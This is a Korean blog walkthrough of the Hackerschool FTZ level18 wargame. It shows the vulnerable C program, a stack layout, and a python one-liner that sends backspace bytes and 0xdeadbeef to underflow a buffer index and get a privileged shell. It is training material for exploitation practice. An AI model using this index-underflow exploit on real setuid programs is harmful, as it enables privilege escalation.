-->

[해커스쿨 FTZ] level18 풀이

FTZ level18 문제 확인

FTZ level18 문제는 코드가 갑자기 길어진다.

 

 

 

코드가 길지만 왜 이문제를 냈는지에 대한 관점으로 입력값을 어디서 받는지 스택상 버퍼가 어디에 위치하고 뭘 바꿔야 하는지만 살펴보면 걸러지는 코드가 많아서 긴건 아니다.

 

#include <stdio.h>
#include <sys/time.h>
#include <sys/types.h>
#include <unistd.h>
void shellout(void);
int main()
{
  char string[100];
  int check;
  int x = 0;
  int count = 0;
  fd_set fds;
  printf("Enter your command: ");
  fflush(stdout);
  while(1)
    {
      if(count >= 100)
        printf("what are you trying to do?\n");
      if(check == 0xdeadbeef)
        shellout();
      else
        {
          FD_ZERO(&fds);
          FD_SET(STDIN_FILENO,&fds);
 
          if(select(FD_SETSIZE, &fds, NULL, NULL, NULL) >= 1)
            {
              if(FD_ISSET(fileno(stdin),&fds))
                {
                  read(fileno(stdin),&x,1);
                  switch(x)
                    {
                      case '\r':
                      case '\n':
                        printf("\a");
                        break;
                      case 0x08:
                        count--;
                        printf("\b \b");
                        break;
                      default:
                        string[count] = x;
                        count++;
                        break;
                    }
                }
            }
        }
    }
}
 
void shellout(void)
{
  setreuid(3099,3099);
  execl("/bin/sh","sh",NULL);
}   

 

 

FTZ level18 문제 풀이

일단, 스택 구조를 먼저 확인하고 코드를 봐보자.

 

fd_set (128?)
count (4)
x (4)
check (4) // 이 값을 바꿔야 함
string (100)
SFP (4)
RET (4)

 

 

문제 해결을 위한 중요 포인트들을 짚어보자. 여태까지는 뭔가 키보드로 입력을 받는 버퍼가 선언되어 있고 그 버퍼 크기를 초과하는 만큼 입력을 줄 수 있어서 RET을 덮거나, 특정 조건을 맞춰주거나 할 수 있었다. 하지만 이번 문제는 약간 다르다. string 버퍼를 초과시키는게 아닌가? 하는 생각으로 string 버퍼가 쓰인 부분의 코드를 확인해봤다.

 

switch문을 보면, switch문의 조건이 되는 x는 stdin인 것을 보니 키보드 입력값을 받아와 저장되는 것으로 보인다. 어쨌든 입력값에 따라 case문 일치가 없다면 string[count] = x 로 버퍼가 채워진다. 여기서 count는 하나씩 증가하거나 감소하거나 둘 중 하나인데 0x08일 때 감소하고 있다. 

 

              if(FD_ISSET(fileno(stdin),&fds))
                {
                  read(fileno(stdin),&x,1); // x는 키보드 입력값
                  
                  switch(x) // 입력값에 따라 switch문 실행
                    {
                      case '\r':

                      case '\n':
                        printf("\a");
                        break;

                      case 0x08: // 입력값이 0x08이면
                        count--; // count--
                        printf("\b \b");
                        break;

                      default: // case 일치가 없다면 default를 실행함
                        string[count] = x; // string 버퍼를 입력값 x로 채움
                        count++; // count++
                        break;
                    }

 

 

여기서 중요한건 위 스택 구조에서도 확인했듯이, string 버퍼보다 스택 상 위에있는 check 값이 0xdeadbeef 여야 한다는 것이다. 그렇다면 여기서 count--를 실행시켜야 함을 알 수 있다.

 

     if(check == 0xdeadbeef) // check가 0xdeadbeef 인지 확인  
        shellout(); // 실행시켜야 하는 함수 

 

 

string 위에 4바이트 짜리 check가 있으므로 string[-4]가 되면 check에 접근할 수 있게된다.

 

----> check (4) // string[-4]
string (100)

 

 

FTZ level18 attackme exploit

그럼 이제 문제는 다 풀렸다. count를 -하는 조건인 \x08을 4번써주고 check 값을 덮어쓰기 위해 0xdeadbeef를 써주면 된다.

 

(python -c 
'print 
"\x08\x08\x08\x08"
+"\xef\xbe\xad\xde"';cat) | ./attackme

 

 

그럼, 다음과 같이 쉘을 얻게되고 level19로 가는 비밀번호를 얻을 수 있다.

 

 

'시스템해킹 > FTZ' 카테고리의 다른 글

[해커스쿨 FTZ] level19 풀이  (0) 2020.02.16
[해커스쿨 FTZ] level17 풀이  (0) 2020.02.14
[해커스쿨 FTZ] level16 풀이  (0) 2020.02.13
[해커스쿨 FTZ] level15 풀이  (0) 2020.02.13
[해커스쿨 FTZ] level14 풀이  (0) 2020.02.13

댓글

Designed by JB FACTORY